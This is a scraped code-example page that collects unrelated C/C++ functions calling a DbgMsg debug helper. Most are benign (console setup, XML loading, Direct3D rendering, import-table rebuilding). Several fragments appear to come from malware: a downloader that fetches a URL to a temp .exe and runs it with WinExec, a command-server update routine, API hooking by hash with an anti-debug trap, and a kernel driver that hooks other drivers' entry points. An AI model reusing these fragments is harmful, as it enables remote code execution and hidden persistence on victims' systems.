C++ DbgMsg函数代码示例

VOID MakeConsole(VOID)
{
    DWORD dwMode;
    struct _CONSOLE_SCREEN_BUFFER_INFO sbi;
    HANDLE hStd;
    FILE *fStream;

    //if (!InitializeCriticalSectionAndSpinCount(&CriticalSection, 0x00000400)) {
    //    DbgMsg("[-] InitializeCriticalSectionAndSpinCount failed : %lu\n", GetLastError());
    //}
    //InitializeCriticalSection(&CriticalSection);
    InitCriticalSection();
    if (!AllocConsole()) {
        FreeConsole();
        if (!AllocConsole()) {
            DbgMsg("[+] AllocConsole() failed : %lu\n", GetLastError());
        }
    }
    hStd = GetStdHandle(STD_OUTPUT_HANDLE);
    GetConsoleMode(hStd, (LPDWORD)&dwMode);
    SetConsoleMode(hStd, dwMode & 0xFFFFFFEF);
    GetConsoleScreenBufferInfo(hStd, &sbi);
    sbi.dwSize.Y = 500;
    SetConsoleScreenBufferSize(hStd, sbi.dwSize);
    freopen_s(&fStream, "conin$", "r", stdin);
    freopen_s(&fStream, "conout$", "w", stdout);
    freopen_s(&fStream, "conout$", "w", stderr);
}

//--------------------------------------------------------------------------------------
PyObject *init(PyObject* self, PyObject* pArgs)
{
    PyObject *Ret = Py_None;

    Py_INCREF(Py_None);

    // check for allready initialized case
    if (m_dwThreadId > 0)
    {
        DbgMsg(__FILE__, __LINE__, __FUNCTION__"() WARNING: XMLRPC server is allready running\n");
        goto end;
    }

    // run XMLRPC server n the new thread
    HANDLE hThread = CreateThread(NULL, 0, ServerThread, NULL, 0, &m_dwThreadId);
    if (hThread)
    {
        CloseHandle(hThread);
    }
    else
    {
        DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError());
    }

end:  

    return Ret;
}

bool HookJavaApi()
{
	DbgMsg("HookJavaApi",0,"BEFORE");

	if ( HookApi( 3, 0x7506E960, (DWORD)&Hook_ShowWindow ) )
	{  
		__asm mov [Real_ShowWindow], eax			
		DbgMsg("HookJavaApi",0,"Hook_ShowWindow");
	}	

	if ( HookApi( 3, 0x9D2F45DB, (DWORD)&Hook_GetMessagePos) )
	{  
		__asm mov [Real_GetMessagePos], eax			
	}	

	if ( HookApi( 3, 0x85F352BD, (DWORD)&Hook_WindowFromPoint) )
	{  
		__asm mov [Real_WindowFromPoint], eax			
	}	

	int r1 = GetTickCount();
	int r2 = GetTickCount();
	int r = r1 / ((r2 - r1) &0xffff0000);
	DbgMsg("HookJavaApi",r,"AFTER");
	
	return true;
}

void GetTokenFromIndexValueFromBooleanEOL
   (ParseVarsType *pParseVars,ParamType param)
{
   int value;

   param; /* to eliminate not used warning */
#if DEBUGOUTPUT
 DbgMsg("GetTokenFromIndexValueFromBooleanEOLin=%hs\n", pParseVars->pInPJL_Local);
#endif

   StoreToken(pParseVars, 
      pParseVars->pCurrentList->tokenBaseValue+pParseVars->dwFoundIndex);
   pParseVars->pCurrentKeywords = FALSEandTRUEKeywords;

   if ( (value=LookForKeyword(pParseVars))==-1 )
      {
      /* Not TRUE or FALSE */
      pParseVars->status = STATUS_SYNTAX_ERROR;
      return;
      }
   if ( !StoreTokenValueAndAdvancePointer(pParseVars, value) )
      {
      return;
      }
   if ( !ExpectString(pParseVars, param.lpstr) )
      {
      return;
      }
#if DEBUGOUTPUT
 DbgMsg("GetTokenFromIndexValueFromBooleanEOLout=%hs\n", pParseVars->pInPJL_Local);
#endif
   return;
}

/********************Public*Routine****************************************\
* Render
* 
\**************************************************************************/
HRESULT CHall::Render( IDirect3DDevice9* pDevice)
{
    HRESULT hr = S_OK;

    if( !pDevice )
    {
        return E_POINTER;
    }

    try
    {
        CHECK_HR(
            hr = RestoreDeviceObjects( pDevice ),
            DbgMsg("CHall::Render: failed in RestoreDeviceObjects",hr));

        if( m_pFloor )
        {
            CHECK_HR(
                hr = m_pFloor->Render( pDevice ),
                DbgMsg("CHall::Render: failed to render the floor",hr));
        }
        if( m_pWall )
        {
            CHECK_HR(
                hr = m_pWall->Render( pDevice ),
                DbgMsg("CHall::Render: failed to render the wall",hr));
        }
    }
    catch( HRESULT hr1 )
    {
        hr = hr1;
    }
    return hr;
}

//--------------------------------------------------------------------------------------
VOID DriverEntryContinueThread(PVOID Param)
{
    LARGE_INTEGER Timeout = { 0 };
    Timeout.QuadPart = RELATIVE(SECONDS(3));    
    
    DbgMsg(__FILE__, __LINE__, "Unloading old driver...\n");

    NTSTATUS ns = ZwUnloadDriver(&m_RegistryPath);
    if (NT_SUCCESS(ns))
    {
        DbgMsg(__FILE__, __LINE__, "OK\n");
    }
    else
    {
        DbgMsg(__FILE__, __LINE__, "ZwUnloadDriver() fails; status: 0x%.8x\n", ns);
    }

    while (true)
    {
        DbgPrint(__FUNCTION__"(): I'm allive!\n");

        // sleep
        KeDelayExecutionThread(KernelMode, FALSE, &Timeout);        
    }
}

ULONG_PTR ImportEntryModule(ULONG_PTR Start)
{
    ULONG_PTR Current;
    std::map<ULONG_PTR, int> ModuleBaseMap;
    ULONG_PTR BaseAddr = 0;
    int max = 0;

    for (Current = Start; *(PULONG_PTR)Current != 0; Current += SIZE_IMPORT_ENTRY) {
        if (!IsBadReadMemory((PVOID)Current, SIZE_IMPORT_ENTRY) && !IsBadReadMemory((PVOID)*(PULONG_PTR)Current, SIZE_IMPORT_ENTRY)) {
            DbgMsg("[+] "HEX_FORMAT"\n", *(PULONG_PTR)Current);
            if (MyRtlPcToFileHeader(*(PULONG_PTR)Current, &BaseAddr) == TRUE) {
                ModuleBaseMap[BaseAddr] += 1;
            }
        }
    }
    for (std::map<ULONG_PTR, int>::iterator it = ModuleBaseMap.begin(); it != ModuleBaseMap.end(); ++it) {
        if (it->second > max)
            max = it->second;
            BaseAddr = it->first;
    }
    if (CheckIfTwiceFreq(ModuleBaseMap, max) == TRUE) {
        DbgMsg("[-] ImportEntryModule - NEED TO FIX MANUALLY\n");
        ExitProcess(42);
    }
    return BaseAddr;
}

static int dc_is_this_ssd(dev_hook *hook)
{
	STORAGE_PROPERTY_QUERY         query = { StorageDeviceSeekPenaltyProperty,  PropertyStandardQuery };
	DEVICE_SEEK_PENALTY_DESCRIPTOR seek  = {0};
	char                           buff[sizeof(ATA_PASS_THROUGH_EX) + sizeof(IDENTIFY_DEVICE_DATA)] = {0};
    PATA_PASS_THROUGH_EX           pata = pv(buff);
	PIDENTIFY_DEVICE_DATA          idat = pv(buff + sizeof(ATA_PASS_THROUGH_EX));
	int                            resl;

	resl = io_hook_ioctl(hook, IOCTL_STORAGE_QUERY_PROPERTY, &query, sizeof(query), &seek, sizeof(seek));

	if ( (resl == ST_OK) && (seek.Version >= sizeof(seek)) && (seek.Size >= sizeof(seek)) ) {
		DbgMsg("seek.IncursSeekPenalty %d\n", seek.IncursSeekPenalty);
		return seek.IncursSeekPenalty == FALSE;
	}
	pata->Length             = sizeof(ATA_PASS_THROUGH_EX);
	pata->DataBufferOffset   = sizeof(ATA_PASS_THROUGH_EX);
	pata->DataTransferLength = sizeof(IDENTIFY_DEVICE_DATA);
	pata->AtaFlags           = ATA_FLAGS_DATA_IN;
	pata->TimeOutValue       = 2;
	pata->CurrentTaskFile[6] = IDE_COMMAND_IDENTIFY;

	if (io_hook_ioctl(hook, IOCTL_ATA_PASS_THROUGH, buff, sizeof(buff), buff, sizeof(buff)) != ST_OK) {
		return 0;
	} else {
		DbgMsg("idat->NominalMediaRotationRate %d\n", idat->NominalMediaRotationRate);
	}
	return idat->NominalMediaRotationRate == 1;
}

VOID ComputeAllITSize(PIMPORTER Importer)
{
    std::list<PMODULE>::const_iterator it_mod;
    std::list<PEXPORTENTRY>::const_iterator it_exp;
    ULONG_PTR ModuleNameLength = 0;
    ULONG_PTR ApiNameLength = 0;

    Importer->NbTotalApis = 0;
    for (it_mod = Importer->lModule.begin(); it_mod != Importer->lModule.end(); ++it_mod) {
        ModuleNameLength += strlen((*it_mod)->szModule) + 1;
        for (it_exp = (*it_mod)->lExport.begin(); it_exp != (*it_mod)->lExport.end(); ++it_exp) {
            if (!strncmp((*it_exp)->FunctionName, "Ordinal_0x", strlen("Ordinal_0x"))) {
                DbgMsg("[-] ORDINAL : TODO %s!%s ; 0x%08X ; "HEX_FORMAT" ; "HEX_FORMAT" at "HEX_FORMAT"\n", (*it_mod)->szModule, (*it_exp)->FunctionName, (*it_exp)->Ordinal, (*it_exp)->FunctionRVA, (*it_exp)->FunctionVA, (*it_exp)->RVA);
                //DebugBreak();
                //ExitProcess(42);
            }
            Importer->NbTotalApis += 1;
            ApiNameLength += strlen((*it_exp)->FunctionName) + 1 + sizeof (WORD);
        }
    }
    Importer->ModulesNameLength = ModuleNameLength;
    Importer->APIsNameLength = ApiNameLength;
    Importer->TotalSizeIT = (DWORD)(Importer->ModulesNameLength + Importer->APIsNameLength + ((Importer->lModule.size() + 1) * sizeof (IMAGE_IMPORT_DESCRIPTOR)));
    DbgMsg("[+] Importer->ModulesNameLength : 0x%08X (%d)\n", Importer->ModulesNameLength, Importer->ModulesNameLength);
    DbgMsg("[+] Importer->APIsNameLength    : 0x%08X (%d)\n", Importer->APIsNameLength, Importer->APIsNameLength);
    DbgMsg("[+] Importer->TotalSizeIT       : 0x%08X (%d)\n", Importer->TotalSizeIT, Importer->TotalSizeIT);
}

BOOLEAN DownloadRunExeUrl(DWORD TaskId, PCHAR FileUrl)
{
	BOOLEAN Result = TRUE;
	CHAR chTempPath[MAX_PATH];
	CHAR chTempName[MAX_PATH];

	Protect::GetStorageFolderPath(chTempPath);
	GetTempFileName(chTempPath, NULL, GetTickCount(), chTempName);
	PathRemoveExtension(chTempName);
	PathAddExtension(chTempName, ".exe");

	if (SUCCEEDED(URLDownloadToFile(NULL, FileUrl, chTempName, 0, NULL)))
	{
		if (WinExec(chTempName, 0) < 31)
		{
			DbgMsg(__FUNCTION__"(): WinExec: %x\n", GetLastError());
		}
	}
	else
	{
		DbgMsg(__FUNCTION__"(): URLDownloadToFile: %x\n", GetLastError());
	}

	if (TaskId) Server::SendServerAnswer(TaskId, g_CurrentServerUrl, 1, 0);

	return Result;
}

/*
kd> kb
ChildEBP RetAddr  Args to Child              
f8afdaa8 805c62ae f8afdcf0 00000000 f8afdb44 DrvHide!LoadImageNotify+0x10
f8afdac8 805a4159 f8afdcf0 00000000 f8afdb44 nt!PsCallImageNotifyRoutines+0x36
f8afdc6c 80576483 f8afdcf0 00000000 00000000 nt!MmLoadSystemImage+0x9e5
f8afdd4c 8057688f 80000378 00000001 00000000 nt!IopLoadDriver+0x371
f8afdd74 80534c02 80000378 00000000 823c63c8 nt!IopLoadUnloadDriver+0x45
f8afddac 805c6160 b286ecf4 00000000 00000000 nt!ExpWorkerThread+0x100
f8afdddc 80541dd2 80534b02 00000001 00000000 nt!PspSystemThreadStartup+0x34
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16
*/
VOID LoadImageNotify(
   PUNICODE_STRING FullImageName,
   HANDLE ProcessId, // where image is mapped
   PIMAGE_INFO ImageInfo)
{
    KeWaitForMutexObject(&m_GlobalMutex, Executive, KernelMode, FALSE, NULL);

    // check for kernel driver
    if (ProcessId == 0 && ImageInfo->SystemModeImage && !m_bFreeAreaFound &&
        IsKnownDriver(FullImageName))
    {
        PVOID TargetImageBase = ImageInfo->ImageBase;
        ULONG TargetImageSize = ImageInfo->ImageSize;

        DbgMsg(
            __FILE__, __LINE__, "%d '%wZ' is at "IFMT", size: %d\n", 
            PsGetCurrentProcessId(), FullImageName, TargetImageBase, TargetImageSize
        );
        
        // check for free area at the image discardable sections
        if (m_bFreeAreaFound = CheckForFreeArea(TargetImageBase, &m_FreeAreaRVA, &m_FreeAreaLength))        
        {
            m_FreeAreaVA = RVATOVA(TargetImageBase, m_FreeAreaRVA);

            DbgMsg(__FILE__, __LINE__, "Free area found!\n");

            // hook image entry point
            HookImageEntry(TargetImageBase);
        }
    }

    KeReleaseMutex(&m_GlobalMutex, FALSE);
}

BOOL SearchBinaryAllCall(ULONG_PTR BaseAddress, ULONG_PTR OEP)
{
    DWORD VirtualAddr;
    DWORD VirtualSize;
    PBYTE pActual;

    if (pinfo.lModule.size() == 0) {
        InitIATStuff();
    }
    VirtualAddr = (DWORD)GetSectionInfo(BaseAddress, OEP - BaseAddress, SEC_VIRT_ADDR);
    if (VirtualAddr == 0) {
        DbgMsg("[-] SearchAutoIAT - GetSectionInfo failed\n");
        return FALSE;
    }
    VirtualSize = (DWORD)GetSectionInfo(BaseAddress, OEP - BaseAddress, SEC_VIRT_SIZE);
    if (VirtualSize == 0) {
        DbgMsg("[-] SearchAutoIAT - GetSectionInfo failed\n");
        return FALSE;
    }
    for (pActual = (PBYTE)(BaseAddress + VirtualAddr); pActual < (PBYTE)(BaseAddress + VirtualAddr + VirtualSize); pActual++) {
        LookIndirectCallImport(pActual);
        LookDirectCallImport(pActual);
    }
    return TRUE;
}

/** 
* загрузка и парсинг xml документа
* @param data текст загружаемого xml докуммента
* @return TRUE если всё ОК, FALSE в случае ошибки
*/
BOOL XmlLoad(PWSTR lpwcData, IXMLDOMDocument **pXMLDoc, IXMLDOMNode **pIDOMRootNode, PWSTR lpwcRootNodeName)
{
    BOOL bOk = FALSE;
    VARIANT_BOOL status;

    // initialize COM
    HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if (FAILED(hr))
    {
        DbgMsg(__FILE__, __LINE__, "CoInitializeEx() ERROR 0x%.8x\n", hr);
        return FALSE;
    }    

    // create new msxml document instance
    hr = CoCreateInstance(CLSID_DOMDocument, NULL, CLSCTX_INPROC_SERVER, 
        IID_IXMLDOMDocument, (void **)pXMLDoc);
    if (FAILED(hr)) 
    {
        DbgMsg(__FILE__, __LINE__, "CoCreateInstance() ERROR 0x%.8x\n", hr);
        return FALSE;
    }    

    hr = (*pXMLDoc)->loadXML(lpwcData, &status);
    if (status != VARIANT_TRUE)
    {
        DbgMsg(__FILE__, __LINE__, "pXMLDoc->load() ERROR 0x%.8x\n", hr);
        goto end;
    }

    // если xml загружен, получаем список корневых узлов
    // из которого получаем главный подузел 'logger'
    IXMLDOMNodeList *pIDOMRootNodeList;
    hr = (*pXMLDoc)->get_childNodes(&pIDOMRootNodeList);
    if (SUCCEEDED(hr))
    {
        *pIDOMRootNode = ConfGetListNodeByName(lpwcRootNodeName, pIDOMRootNodeList);
        if (*pIDOMRootNode)
        {
            bOk = TRUE;
        }            

        pIDOMRootNodeList->Release();        
    }
    else
    {
        DbgMsg(__FILE__, __LINE__, "pXMLDoc->get_childNodes() ERROR 0x%.8x\n", hr);
    }    

end:

    if (!bOk)
    {
        // произошла ошибка
        // освобождаем дескриптор докуммента
        (*pXMLDoc)->Release();
        *pXMLDoc = NULL;
    }

    return bOk;
}

BOOLEAN DownloadUpdateMain(DWORD TaskId, DWORD FileId, DWORD FileVersion)
{
	BOOLEAN Result = FALSE;
	DWORD Size;
	PVOID Buffer;
	DWORD dwLastError;

	if (Config::ReadInt(CFG_DCT_MAIN_SECTION, CFG_DCT_MAIN_VERSION) < FileVersion)
	{
		if (Buffer = Server::DownloadFileById(FileId, g_CurrentServerUrl, &Size))
		{
			if (Result = Protect::UpdateMain(Buffer, Size))
			{
				Config::WriteInt(CFG_DCT_MAIN_SECTION, CFG_DCT_MAIN_VERSION, FileVersion);
			}

			dwLastError = GetLastError();

			free(Buffer);
		}
		else
		{
			DbgMsg(__FUNCTION__"(): e2\n");
		}
	}
	else
	{
		DbgMsg(__FUNCTION__"(): e1\n");
	}

	if (TaskId) Server::SendServerAnswer(TaskId, g_CurrentServerUrl, Result, dwLastError);

	return Result;
}

VOID PrintPeInfo(VOID)
{
    DbgMsg("[+] PID                : 0x%08X (%d)\n", GetCurrentProcessId(), GetCurrentProcessId());
    DbgMsg("[+] ModuleBase         : " HEX_FORMAT "\n", pinfo.ModuleBase);
    DbgMsg("[+] ModuleSize         : 0x%08X (%d)\n", pinfo.ModuleSize, pinfo.ModuleSize);
    DbgMsg("[+] ModuleNbSections   : 0x%08X (%d)\n", pinfo.ModuleNbSections, pinfo.ModuleNbSections);
    DbgMsg("[+] RVA EntryPoint     : 0x%08X\n", pinfo.EntryPoint);
}